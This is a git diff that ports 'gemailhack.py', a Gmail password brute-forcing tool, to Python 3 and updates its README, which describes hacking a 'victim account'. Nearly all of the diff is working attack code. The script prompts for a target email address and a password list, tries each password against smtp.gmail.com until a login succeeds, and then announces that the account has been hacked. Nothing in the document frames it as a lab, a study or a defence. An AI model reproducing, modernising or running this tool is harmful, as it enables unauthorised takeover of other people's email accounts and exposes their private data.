diff --git a/README.md b/README.md index ec86094..a10c3ca 100644 --- a/README.md +++ b/README.md @@ -7,7 +7,7 @@ ### to ack victim account.Brute force attack is the only successful method to hack account ### but this process will take long time depend upon the length of password. -### git clone https://github.com/Ha3MrX/Gemail-Hack +### git clone [github.com/Noobyetpro/Gmail-Hack](https://github.com/Noobyetpro/Gmail-Hack/tree/master) ### cd Gemail-Hack diff --git a/gemailhack.py b/gemailhack.py index 2d28a67..4fd1b4e 100644 --- a/gemailhack.py +++ b/gemailhack.py @@ -5,70 +5,74 @@ from os import system def main(): - print '=================================================' - print ' create by Ha3MrX ' - print '=================================================' - print ' ++++++++++++++++++++ ' - print '\n ' - print ' _,. ' - print ' ' - print ' ' - print ' HA3MrX ' - print ' _,. ' - print ' ,` -.) ' - print ' ( _/-\\-._ ' - print ' /,|`--._,-^| , ' - print ' \_| |`-._/|| , | ' - print ' | `-, / | / / ' - print ' | || | / / ' - print ' `r-._||/ __ / / ' - print ' __,-<_ )`-/ `./ / ' - print ' \ `--- \ / / / ' - print ' | |./ / ' - print ' / // / ' - print ' \_/ \ |/ / ' - print ' | | _,^- / / ' - print ' | , `` (\/ /_ ' - print ' \,.->._ \X-=/^ ' - print ' ( / `-._//^` ' - print ' `Y-.____(__} ' - print ' | {__) ' - print ' () V.1.0 ' + print('=================================================') + print(' create by Ha3MrX ') + print('=================================================') + print(' ++++++++++++++++++++ ') + print('\n ') + print(' _,. ') + print(' ') + print(' ') + print(' HA3MrX ') + print(' _,. ') + print(' ,` -.) ') + print(' ( _/-\\-._ ') + print(' /,|`--._,-^| , ') + print(' \\_| |`-._/|| , | ') + print(' | `-, / | / / ') + print(' | || | / / ') + print(' `r-._||/ __ / / ') + print(' __,-<_ )`-/ `./ / ') + print(' \\ `--- \\ / / / ') + print(' | |./ / ') + print(' / // / ') + print(' \\_/ \\ |/ / ') + print(' | | _,^- / / ') + print(' | , `` (\\/ /_ ') + print(' \\,.->._ \\X-=/^ ') + print(' ( / `-._//^` ') + print(' `Y-.____(__} ') + print(' | {__) ') + print(' () V.1.0 ') main() -print '[1] start the attack' -print '[2] exit' -option = input('==>') +print('[1] start the attack') +print('[2] exit') + +option = int(input('==> ')) if option == 1: - file_path = raw_input('path of passwords file :') + file_path = input('path of passwords file: ') else: - system('clear') - exit() -pass_file = open(file_path,'r') -pass_list = pass_file.readlines() + system('clear') + exit() + +with open(file_path, 'r') as pass_file: + pass_list = pass_file.readlines() + def login(): i = 0 - user_name = raw_input('target email :') + user_name = input('target email: ') server = smtplib.SMTP_SSL('smtp.gmail.com', 465) server.ehlo() for password in pass_list: - i = i + 1 - print str(i) + '/' + str(len(pass_list)) - try: - server.login(user_name, password) - system('clear') - main() - print '\n' - print '[+] This Account Has Been Hacked Password :' + password + ' ^_^' - break - except smtplib.SMTPAuthenticationError as e: - error = str(e) - if error[14] == '<': + password = password.strip() + i += 1 + print(f"{i}/{len(pass_list)}") + try: + server.login(user_name, password) system('clear') main() - print '[+] this account has been hacked, password :' + password + ' ^_^' - + print('\n') + print(f'[+] This Account Has Been Hacked Password: {password} ^_^') break - else: - print '[!] password not found => ' + password + except smtplib.SMTPAuthenticationError as e: + error = str(e) + if "<" in error: + system('clear') + main() + print(f'[+] This Account Has Been Hacked Password: {password} ^_^') + break + else: + print(f'[!] Password not found => {password}') + login()